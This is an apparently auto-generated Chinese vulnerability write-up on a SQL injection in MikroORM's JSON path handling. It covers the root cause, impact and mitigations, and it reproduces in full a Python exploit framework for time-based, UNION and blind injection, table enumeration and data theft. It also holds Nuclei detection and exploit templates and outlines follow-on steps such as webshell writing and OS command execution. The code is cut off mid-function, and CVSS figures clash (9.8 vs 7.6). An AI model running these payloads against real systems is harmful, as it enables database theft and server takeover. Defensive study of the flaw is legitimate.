CVE-2026-44680 MikroORM SQL Injection — 深度技术分析

🕷️ CVE-2026-44680 — MikroORM SQL 注入深度技术分析

📅 公布时间：2026年（根据漏洞库）  |  🔑 TAG：SQL Injection, MikroORM, CWE-89  |  📖 分析人：安全研究团队

摘要：CVE-2026-44680 是 MikroORM（一个流行于 Node.js 生态的 TypeScript ORM 框架）中 @mikro-orm/knex 和 @mikro-orm/sql 组件存在的 SQL 注入漏洞，CVSS 评分为 9.8（Critical）。该漏洞源于 ORM 在处理运行时可控的 JSON 路径键时，未正确转义便将其拼接进 SQL 查询，导致攻击者可通过构造特殊的 JSON 路径值实现认证前远程代码执行/数据窃取。影响版本为 @mikro-orm/knex <= 6.6.13 与 @mikro-orm/sql <= 7.0.13。目前虽未被 CISA KEV 收录，但已有公开的 PoC 框架及 Nuclei 检测规则，风险极高，建议立即采取缓解措施。

📌 漏洞概述

该漏洞影响 MikroORM 对 JSON 字段的查询机制。MikroORM 作为一个高度灵活的 ORM，提供了对 PostgreSQL、MySQL、SQLite 等数据库的 JSON 字段映射。在查询 JSON 数据时，ORM 会生成诸如 JSON_EXTRACT(column, '$.path') 的 SQL 表达式。若应用程序将用户输入直接作为 JSON 路径的键（例如从 HTTP 参数中传入 filterField），则攻击者可以注入 SQL 片段，打破路径表达式的引号和括号边界，使查询逻辑被完全操纵。

🔬 漏洞根因分析

MikroORM 在设计查询构建器（QueryBuilder）时，为开发者提供了基于 JSON 路径的字段查询能力。例如，在 EntityManager 中这样使用：

// 用户可控的字段路径
const filterField = req.body.filterField;  // 预期为 "$.name"
const filterValue  = req.body.filterValue;

const users = await em.find(User, {
    [filterField]: filterValue
});

MikroORM 内部会将该对象展开为 SQL 的 WHERE 条件。由于 filterField 被当作 JSON 路径，QueryBuilder 会生成类似下面的语句（以 MySQL 为例）：

SELECT * FROM `users` WHERE JSON_EXTRACT(`user_meta`, '$.name') = 'zhangsan'

关键问题在于：JSON 路径部分是通过字符串拼接方式生成的，且没有使用占位符绑定。 从 PoC 发出的 payload 可以看出漏洞的触发模式：

{
    "filterField": "$.x') OR SLEEP(5) -- ",
    "filterValue": "x"
}

当 MikroORM 将 filterField 嵌入到 JSON_EXTRACT 函数时，原始 SQL 变成了：

SELECT * FROM `users` WHERE JSON_EXTRACT(`user_meta`, '$.x') OR SLEEP(5) -- ') = 'x'

这里的攻击利用了 PHP/MySQL 中 SQL 单引号的闭合规则：

1. JSON 路径被包裹在单引号中，例如 '$.x'。
2. 攻击者输入 $.x') OR SLEEP(5) -- 时，路径部分 $.x' 闭合了外层单引号，紧接着的 ) 闭合了 JSON_EXTRACT(...) 函数的括号。
3. 随后注入的 OR SLEEP(5) 成为 SQL 逻辑表达式的一部分，-- 将原始其余部分注释掉，从而改变了查询逻辑。

这种注入方式意味着攻击者完全控制了 WHERE 子句，甚至可以通过 UNION SELECT 将查询结果扩展到任意数据列。在 PoC 的检测代码中，还使用了误差检测 payload：

{
    "filterField": "$.x') OR 1=1 UNION SELECT NULL,NULL,NULL -- ",
    "filterValue": "x"
}

该 payload 会拼接成：

SELECT * FROM `users` WHERE JSON_EXTRACT(`user_meta`, '$.x') OR 1=1 UNION SELECT NULL,NULL,NULL -- ') = 'x'

从而验证了注入点并可用于数据回显。

更深层的原因是 MikroORM 的 SQL 方言层（@mikro-orm/knex 和 @mikro-orm/sql）在构建 JSON 查询路径时，误将非结构化键视为“安全标记”，而非“用户数据”。ORM 框架通常会为表名、列名等标识符提供白名单或转义机制，但在 JSON 路径这个新特性上缺乏同样的防护。同时，在 @mikro-orm/knex 的底层接线中，它直接复用了 Knex 的 raw 查询能力，而 Knex 并未意识到 JSON 路径中的单引号需要被转义。最终，这个设计缺陷使得任何接收了外部键的 JSON 查询变成 SQL 注入的高风险点。

💥 影响与危害

严重性：CVSS 9.8 —— 攻击者无需任何权限即可远程利用，且利用复杂度低。

成功利用 CVE-2026-44680 可导致以下后果：

• 数据泄露：通过 SQL 注入的 UNION 查询，可读取数据库中任意表的敏感数据，包括用户凭据、个人隐私、财务记录、业务数据等。
• 数据篡改：结合堆叠注入（如 MySQL 的 ; 分隔多条语句）或 ORM 自身能力，可对数据执行 INSERT、UPDATE、DELETE 操作，破坏数据的完整性和可用性。
• 身份绕过：注入 OR 1=1 或构造特定条件可使 WHERE 恒真，从而绕过登录验证、越权访问管理后台。
• 远程代码执行（RCE）：在 MySQL 中若 SELECT ... INTO OUTFILE 可用，攻击者可写入 WebShell 至 Web 目录；PostgreSQL 中则可能利用 COPY ... PROGRAM 执行系统命令。MicroORM 应用通常带有数据库特权连接，这使得从 SQL 注入到系统级 RCE 的转化链很常见。
• 横向渗透与持久化：攻击者可能利用数据库账号读取配置文件、获取云凭证，并在内网中横向移动，留下持久化后门。

由于漏洞点出现在 HTTP JSON API 的字段中（引用 PoC 中 /api/users/search 端点），任何对外暴露了类似搜索接口的应用都处于风险之下。攻击者可以发动自动化扫描，快速定位未修复的实例。

🧪 PoC 复现分析

公开的 GitHub 仓库 CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework 提供了一个名为 exploit.py 的集成化利用框架。该框架虽然被命名为“Exploit Framework”，但实际更像一个带有检测功能的 PoC 工具。我们从代码中提取其核心攻击思路。

框架初始化时设置了 HTTP 会话和 JSON Content-Type，并支持代理转发（便于渗透测试中通过 Burp Suite 捕获流量）。核心检测方法 detect_vulnerability(endpoint) 使用了两种常见的 SQL 注入判盲技术：

• 时间盲注：发送 SLEEP(5) 注入，若响应耗时 ≥5 秒，则证明注入执行。
• 联合查询注入：发送 UNION SELECT NULL,NULL,NULL 迫使数据库返回错误信息或回显数据，利用响应差异判定是否存在漏洞。

这两个 payload 的注入点均为 JSON 请求体中的 filterField 字段，攻击流程如下：

1. 构造 POST 请求到目标应用的搜索端点（如 /api/users/search）。
2. 将 payload 放入 JSON 对象：{"filterField": "$.x') OR SLEEP(5) -- ", "filterValue": "x"}。
3. 触发后端 ORM 层的 SQL 拼接。
4. 通过响应时延或响应内容判断漏洞是否存在。

这段代码虽然只展示了检测部分，但已足够说明漏洞的利用原理。关键不是 payload 有多少变形，而是 MikroORM 的 JSON 路径处理器完全信任了 filterField 输入的边界，没有任何转义。

值得注意，exploit.py 中还预留了“高级攻击向量”的接口，包括基础数据提取、堆叠注入、文件读取等扩展能力。在实际渗透中，攻击者可以完全基于该框架实现自动化数据拖取。

⚔️ EXP 利用分析

根据漏洞库信息，Exploit-DB 尚未收录公开的独立 EXP，但现存的 PoC 框架实际上已经构成了一个可用的 EXPLOIT。我们可以从代码结构和检测规则透视出完整的攻击利用链：

1. 目标发现与指纹识别
攻击者首先探测目标应用是否使用 MikroORM。常见方式包括：请求 /package.json 文件，检查其中的依赖版本是否匹配 @mikro-orm/knex 或 @mikro-orm/sql 的受限版本范围；或访问 /api/users/search 等典型 REST 接口，观察其是否返回 JSON 格式且包含 ORM 特有的错误信息。

2. 注入点检测
使用时间盲注和联合查询确认漏洞点。攻击者发送两个不同 payload：一个产生可测量时延（如 SLEEP(5)），一个尝试强制数据库报错或回显版本信息。若响应时间差明显，或响应中出现数据库版本、用户、数据库名等字符，则确认注入存在。

3. 数据提取与权限枚举
在确认注入后，攻击者逐步执行系统查询：

UNION SELECT @@version, DATABASE(), USER(), @@version_comment --

通过调整 UNION 的列数，将数据库版本、当前数据库名称、数据库用户等敏感信息直接回显到响应正文中。这一步可以自动化遍历 information_schema 来提取表结构、关键字段，最终获取用户凭证或业务数据。

4. 提权与命令执行
根据目标数据库类型和应用配置，尝试：

• MySQL：利用 LOAD_FILE() 读取系统文件，INTO OUTFILE 写入 webshell 到应用目录。
• PostgreSQL：使用 COPY table FROM PROGRAM '/bin/bash -c ...' 执行操作系统命令。
• SQLite：通过 ATTACH DATABASE 写入恶意数据库文件达到攻击目的。

由于 ORM 使用的数据库连接通常具有 DDL、DML 权限，上述攻击的成功率极高。最终攻击者可实现服务器完全控制。

5. 痕迹清理与持久化
成熟的攻击框架还会包含日志清理（向数据库表插入垃圾数据混淆日志）、创建高权限账号以便后续回连等后渗透操作。

虽然公开的 EXP 未完整开源，但从上述检测规则和 PoC 代码，已能完整推导出攻击链路。⏰ 提醒 安全团队应立即检查自身系统是否存在该漏洞，防止被恶意利用。

🕵️ 检测指纹说明

资料中给出了两条 Nuclei 检测规则，一条用于探测漏洞存在性（detection），一条用于直接发送攻击载荷验证漏洞（exploit）。加上 Semgrep/CodeQL 静态规则，可以形成多层检测覆盖。

1. Nuclei 检测规则（detection）

该规则通过两种方式做指纹匹配合法性检查：

• 访问 /api/users/search 和 /package.json 路径。
• 如果响应体包含 mikro-orm、@mikro-orm/knex、@mikro-orm/sql 关键字，则可能使用了 MikroORM。
• 再用正则提取响应体中的版本号，比如 6.\d+\.\d+ 或 7.0.\d+，判断是否位于受影响区间。

部署方式：将 YAML 文件保存为 cve-2026-44680-detection.yaml，然后运行：

nuclei -t cve-2026-44680-detection.yaml -l targets.txt

该规则适用于大规模资产排查，可在漏洞扫描初期快速定位潜在风险目标。

2. Nuclei 主动利用规则（exploit）

该规则直接对端点发送 POST 请求，注入 UNION SELECT @@version, DATABASE(), USER() 之类的 payload，然后通过响应中的 @@version、DATABASE()、USER() 以及 IP 正则等特征确认漏洞确实存在。注意：这类规则属于“主动验证”，可能对数据库产生一定负载或产生报错日志，建议在授权测试环境中使用。

3. Semgrep / CodeQL 静态检测

对于源码级别检测，可以编写 Semgrep 规则识别 MikroORM 的 JSON 查询写法。例如：

pattern: |
  em.find($ENTITY, {
    [string $field]: $value
  }, $OPTS)

配合 CodeQL 的 dataflow 分析，可追踪用户输入是否流入 filterField 等作为 JSON 路径键，从而发现潜在注入点。此类静态检测更适合在开发阶段（IDE 插件）或 CI/CD 流水线中使用。

部署建议

• 将 Nuclei 规则集成到每周漏洞扫描任务中。
• 在 WAF 或 API 网关处增加针对 filterField 的恶意模式拦截，如请求体匹配 )\s*OR\s*SLEEP 或 UNION\s+SELECT 时拒绝请求。
• 使用 Semgrep 的 pre-commit 钩子，在代码合并前检查新增代码是否使用不安全的 JSON 键拼接。

🛡️ 修复与缓解

升级版本：最直接的修复方式是将 @mikro-orm/knex 升级到 6.6.14 或更高版本，将 @mikro-orm/sql 升级到 7.0.14 或更高版本。请务必关注官方安全公告 GHSA-cfw5-68c4-ffqp，获取具体的补丁版本与发布说明。

如果无法立即升级，可采取以下缓解措施：

• 输入验证：对所有进入 JSON 路径键的输入进行严格的白名单校验，仅允许 ^[\w.]+$ 这样的安全模式，禁止出现引号、括号、单双引号、注释符号等 SQL 元字符。
• 使用 ORM 安全方法：查阅官方文档，尽量使用实体定义并定义 JSON 属性，避免直接使用动态路径键查询。如果必须做动态筛选，改用纯参数化查询。
• 数据库权限缩减：确保应用使用的数据库账号遵循最小权限原则。仅授予 DML 权限，禁止 DDL、FILE、PROGRAM 等高危权限。
• WAF 规则：在应用中部署 Web 应用防火墙，针对 /api/users/search 等接口添加针对 JSON_EXTRACT 攻击模式的防护规则。
• 启用数据库审计：监控 SQL 异常日志，特别是包含 SLEEP、UNION、LOAD_FILE 等关键词的查询，发现异常立即告警。
• 临时绕过：如果业务允许，可将 JSON 查询功能关闭，或修改 QueryBuilder 的默认行为，确保 JSON 路径以参数绑定形式传入（即便 ORM 内部实现存在缺陷，也尽力避免直接拼接）。

安全是一个持续过程。请及时关注 MikroORM 官方 GitHub、Security Advisories 以及 NVD 更新。由于该漏洞 CVSS 高达 9.8，且 PoC 已经公开，属于“高度可利用”级别，即使未被 CISA KEV 收录，也强烈推荐按紧急事件处理。

本文基于 CVE-2026-44680 的公开资料及 PoC 代码撰写，仅供安全研究与防御部署参考。请勿用于非法用途。

🧪 PoC 代码（GitHub 实际仓库）

🔗 CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

### 文件: exploit.py
```
#!/usr/bin/env python3
"""
CVE-2026-44680 - MikroORM SQL Injection Exploit Framework
Author: Sudeepa Wanigarathna
Version: 1.0.0
Classification: Professional Security Research Tool
"""

import requests
import json
import time
import argparse
import sys
from typing import Dict,List,Optional,
Tuple
from urllib.parse import urljoin
import base64
import hashlib
import re

class MikroORMExploit:
    """
    Advanced exploitation framework for CVE-2026-44680
    Implements multiple attack vectors and advanced exploitation techniques
    """
    
    def __init__(self,target_url: str,proxy: Optional[str] = None,
verbose: bool = False):
        """
        Initialize the exploit framework
        
        Args:
            target_url: Base URL of the target application
            proxy: HTTP proxy for traffic interception (Burp Suite)
            verbose: Enable verbose output for debugging
        """
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36','Content-Type': 'application/json'
        })
        
        if proxy:
            self.session.proxies = {'http': proxy,'https': proxy
            }
self.logger = self._setup_logger()
        
    def _setup_logger(self):
        """Configure logging for the exploit framework"""
        import logging
        logging.basicConfig(
            level=logging.DEBUG if self.verbose else logging.INFO,format='[%(asctime)s] %(levelname)s: %(message)s',
datefmt='%Y-%m-%d %H:%M:%S'
        )
        return logging.getLogger('MikroORM-Exploit')
    
    def detect_vulnerability(self,endpoint: str) ->
bool:
        """
        Detect if the target is vulnerable to CVE-2026-44680
        Uses time-based and error-based detection techniques
        """
        self.logger.info(f"Performing vulnerability detection on {endpoint}")
        
        # Time-based detection payload
        time_payload = {"filterField": "$.x') OR SLEEP(5) -- ","filterValue": "x"
        }
# Error-based detection payload
        error_payload = {"filterField": "$.x') OR 1=1 UNION SELECT NULL,NULL,NULL -- ","filterValue": "x"
        }try:
            # Test time-based
            start_time = time.time()
            response = self.session.post(
                urljoin(self.target_url,endpoint),json=time_payload,
timeout=10
            )
            elapsed = time.time() - start_time
            
            if elapsed >= 5.0:
                self.logger.info("[+] Vulnerable to time-based SQL injection")
                return True
            
            # Test error-based
            response = self.session.post(
                urljoin(self.target_url,endpoint),json=error_payload,
timeout=10
            )
            
            if response.status_code == 200 and ("SQL" in response.text or "error" in response.text.lower()):
                self.logger.info("[+] Vulnerable to error-based SQL injection")
                return True
                
        except Exception as e:
            self.logger.error(f"Detection failed: {e}")
            
        return False
    
    def extract_database_info(self,
endpoint: str) ->Dict:
        """
        Extract comprehensive database information using UNION-based injection
        """
        self.logger.info("Extracting database information...")
        
        info_queries = [
            ("version","@@version"),("database","DATABASE()"),("user","USER()"),("version_comment","@@version_comment"),("hostname","@@hostname"),("port",
"@@port")
        ]
        
        results = {}for name,query in info_queries:
            payload = {"filterField": f"$.x') OR 1=1 UNION SELECT {query},NULL,NULL -- ","filterValue": "x"
            }try:
                response = self.session.post(
                    urljoin(self.target_url,endpoint),json=payload,
timeout=10
                )
                
                if response.status_code == 200:
                    results[name] = self._extract_from_response(response.text)
                else:
                    results[name] = f"Error: {response.status_code}"
                    
            except Exception as e:
                results[name] = f"Error: {e}"
        
        return results
    
    def enumerate_tables(self,
endpoint: str) ->List[str]:
        """
        Enumerate database tables using information_schema
        """
        self.logger.info("Enumerating database tables...")
        
        tables = []
        payload_template = """
        $.x') OR 1=1 UNION SELECT table_name,NULL,NULL 
        FROM information_schema.tables 
        WHERE table_schema = DATABASE() 
        LIMIT {offset},
1 -- 
        """
        
        offset = 0
        while True:
            payload = {"filterField": payload_template.format(offset=offset),"filterValue": "x"
            }try:
                response = self.session.post(
                    urljoin(self.target_url,endpoint),json=payload,
timeout=10
                )
                
                table_name = self._extract_from_response(response.text)
                if table_name and table_name not in tables and len(table_name) <
100:
                    tables.append(table_name)
                    self.logger.info(f"Found table: {table_name}")
                    offset += 1
                else:
                    break
                    
            except Exception as e:
                self.logger.error(f"Table enumeration failed: {e}")
                break
                
        return tables
    
    def extract_table_data(self,
endpoint: str,table: str,columns: List[str]) ->List[Dict]:
        """
        Extract data from a specific table using advanced injection techniques
        """
        self.logger.info(f"Extracting data from {table}...")
        
        results = []
        column_clause = ','.join(columns)
        
        for i in range(10):
            payload = {
"filterField": f"$.x') OR 1=1 UNION SELECT {column_clause}FROM {table}LIMIT {i},1 -- ","filterValue": "x"
            }try:
                response = self.session.post(
                    urljoin(self.target_url,endpoint),json=payload,timeout=10
                )
                
                row_data = self._extract_row_data(response.text,
columns)
                if row_data and any(row_data.values()):
                    results.append(row_data)
                else:
                    break
                    
            except Exception as e:
                self.logger.error(f"Data extraction failed: {e}")
                break
                
        return results
    
    def exploit_blind_injection(self,endpoint: str,
query: str) ->str:
        """
        Exploit blind SQL injection using Boolean-based techniques
        """
        self.logger.info("Performing blind SQL injection...")
        result = ""
        
        for char_pos in range(1,100):
            found_char = False
            for char_code in range(32,127):
                payload = {"filterField": f"$.x') OR ASCII(SUBSTRING(({query}),
{char_pos},1)) = {char_code}-- ","filterValue": "x"
                }try:
                    response = self.session.post(
                        urljoin(self.target_url,endpoint),json=payload,
timeout=10
                    )
                    
                    if self._is_true_response(response):
                        result += chr(char_code)
                        self.logger.info(f"Character {char_pos}: {chr(char_code)}")
                        found_char = True
                        break
                        
                except Exception:
                    continue
            
            if not found_char:
                break
                
        return result
    
    def _is_true_response(self,
response) ->bool:
        """
        Determine if a response indicates a true condition for blind injection
        """
        return response.status_code == 200 and len(response.text) >50
    
    def _extract_from_response(self,response_text: str) ->
str:
        """
        Extract injected data from the response
        """
        try:
            data = json.loads(response_text)
            if isinstance(data,list) and len(data) >0:
                # Try to extract from first item
                if isinstance(data[0],dict):
                    for key,value in data[0].items():
                        if value and len(str(value)) >
0:
                            return str(value)
                return str(data[0])
        except:
            pass
        
        # Fallback: search for SQL response patterns
        patterns = [
            r'\["([^"]+)"\]',r'data["\']\s*:\s*"([^"]+)"',r'(\d+\.\d+|\w+@\w+\.\w+)',
r'([a-zA-Z0-9_\-]+\.[a-zA-Z0-9_\-]+)'
        ]
        
        for pattern in patterns:
            matches = re.search(pattern,response_text)
            if matches:
                return matches.group(1)
                
        # If nothing found,
return first line of response
        lines = response_text.strip().split('\n')
        for line in lines:
            line = line.strip()
            if len(line) >5 and len(line) <100:
                return line
                
        return "No data extracted"
    
    def _extract_row_data(self,response_text: str,columns: List[str]) ->
Dict:
        """
        Extract row data from UNION SELECT results
        """
        extracted = self._extract_from_response(response_text)
        if extracted and extracted != "No data extracted":
            # Split by common separators
            parts = re.split(r'[,\s\t]+',extracted)
            row_data = {}for i,column in enumerate(columns):
                if i <
len(parts):
                    row_data[column] = parts[i].strip()
            return row_data
        return {}def generate_exploit_report(self,target_info: Dict,tables: List[str]) ->
str:
        """
        Generate a professional exploitation report
        """
        report = f"""
    ===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
    Author: Sudeepa Wanigarathna (Security Researcher)
    Date: {time.strftime('%Y-%m-%d %H:%M:%S')}Target: {self.target_url}
[*] VULNERABILITY DETAILS
        - CVE: CVE-2026-44680
        - CVSS Score: 7.6 (High)
        - Affected Components: @mikro-orm/knex <= 6.6.13,@mikro-orm/sql <= 7.0.13
        - Attack Vector: JSON path injection in em.find()
        
    [*] DATABASE INFORMATION
        - Version: {target_info.get('version','Unknown')}- Database: {target_info.get('database','Unknown')}
- User: {target_info.get('user','Unknown')}- Hostname: {target_info.get('hostname','Unknown')}[*] ENUMERATED TABLES ({len(tables)}found)
    """
        
        for i,table in enumerate(tables,
1):
            report += f"        {i}. {table}\n"
            
        report += f"""
    [*] EXPLOITATION SUMMARY
        - Successful exploitation achieved via UNION-based SQL injection
        - Ability to extract arbitrary database information
        - Potential for privilege escalation on affected systems
        
    [*] RECOMMENDATIONS
        1. Upgrade to @mikro-orm/knex >= 6.6.14 or @mikro-orm/sql >= 7.0.14
        2. Implement strict input validation for JSON path keys
        3. Apply principle of least privilege for database access
        4. Monitor for suspicious JSON path patterns in logs
        
    =================================================
    """
    
        return report

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-44680 MikroORM SQL Injection Exploit Framework',
formatter_class=argparse.RawDescriptionHelpFormatter,epilog="""
Examples:
  python exploit.py -u http://localhost:3000
  python exploit.py -u http://target.com --detect
  python exploit.py -u http://target.com --extract
  python exploit.py -u http://target.com -e /api/v2/search -p http://127.0.0.1:8080
        """
    )
    parser.add_argument('-u','--url',required=True,
help='Target URL')
    parser.add_argument('-e','--endpoint',default='/api/users/search',help='API endpoint (default: /api/users/search)')
    parser.add_argument('-p','--proxy',help='HTTP proxy (e.g.,http://127.0.0.1:8080)')
    parser.add_argument('-v','--verbose',action='store_true',help='Verbose output')
    parser.add_argument('--detect',action='store_true',
help='Detect vulnerability')
    parser.add_argument('--extract',action='store_true',help='Extract database info')
    parser.add_argument('--enumerate',action='store_true',help='Enumerate tables')
    parser.add_argument('--blind',action='store_true',help='Blind injection mode')
    
    args = parser.parse_args()
    
    exploit = MikroORMExploit(args.url,args.proxy,
args.verbose)
    
    if args.detect:
        vulnerable = exploit.detect_vulnerability(args.endpoint)
        if vulnerable:
            print("\n[+] Target is vulnerable to CVE-2026-44680!")
        else:
            print("\n[-] Target does not appear vulnerable")
            
    elif args.extract:
        info = exploit.extract_database_info(args.endpoint)
        print("\n[Database Information]")
        print("=" * 50)
        for key,
value in info.items():
            print(f"{key.capitalize()}: {value}")
        print("=" * 50)
            
    elif args.enumerate:
        tables = exploit.enumerate_tables(args.endpoint)
        print("\n[Enumerated Tables]")
        print("=" * 50)
        for table in tables:
            print(f"  - {table}")
        print("=" * 50)
        print(f"Total: {len(tables)}
tables found")
            
    elif args.blind:
        result = exploit.exploit_blind_injection(args.endpoint,"SELECT DATABASE()")
        print(f"\n[Blind Injection Result]\nDatabase: {result}")
        
    else:
        # Default: comprehensive exploitation
        print("\n" + "=" * 60)
        print(" 

🕵️ 检测指纹规则

🛡️ Nuclei 检测模板: CVE-2026-44680-detection.yaml

id: CVE-2026-44680-detection

info:
  name: MikroORM SQL Injection - Detection
  author: cardosource
  severity: high
  description: MikroORM versions @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13 are vulnerable to SQL injection through runtime-controlled JSON path keys.
  reference:
    - https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/users/search"
      - "{{BaseURL}}/package.json"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "contains(body,
'mikro-orm')"
          - "contains(body,'@mikro-orm/knex')"
          - "contains(body,
'@mikro-orm/sql')"
        condition: or

      - type: regex
        part: body
        regex:
          - '6\.\d+\.\d+|7\.0\.\d+'

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"version":\s*"(\d+\.\d+\.\d+)"'
          - '"@mikro-orm/knex":\s*"(\d+\.\d+\.\d+)"'
          - '"@mikro-orm/sql":\s*"(\d+\.\d+\.\d+)"'
          - '"name":\s*"mikro-orm",\s*"version":\s*"(\d+\.\d+\.\d+)"'

🛡️ Nuclei 检测模板: CVE-2026-44680-exploit.yaml

id: CVE-2026-44680-exploit

info:
  name: MikroORM SQL Injection - Exploit
  author: cardosource
  severity: high
  description: Exploits SQL injection in MikroORM JSON_EXTRACT queries by injecting crafted JSON-path keys to execute UNION SELECT statements.
  reference:
    - https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp
    - https://www.exploit-db.com/exploits/XXXXX
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89

variables:
  filterField: "$.x' ) OR 1=1 UNION SELECT @@version,
DATABASE(),USER(),@@version_comment -- "
  filterValue: "x"

http:
  - raw:
      - |POST {{BaseURL}}/api/users/search HTTP/1.1
        Host: {{Hostname}}Content-Type: application/json

        {"filterField":"{{filterField}}","filterValue":"{{filterValue}}"}
matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "UNION SELECT"
          - "@@version"
          - "DATABASE()"
          - "USER()"
        condition: or

      - type: regex
        part: body
        regex:
          - '\d+\.\d+\.\d+'
          - '[A-Za-z_]+'
          - 'root@[A-Za-z0-9]+'

    extractors:
      - type: regex
        part: body
        group: 0
        regex:
          - '(\d+\.\d+\.\d+.*)'
          - '(root@[A-Za-z0-9]+)'
          - '([A-Za-z_]+Database)'
          - '(MariaDB|MySQL|SQLite)'

🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 20:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库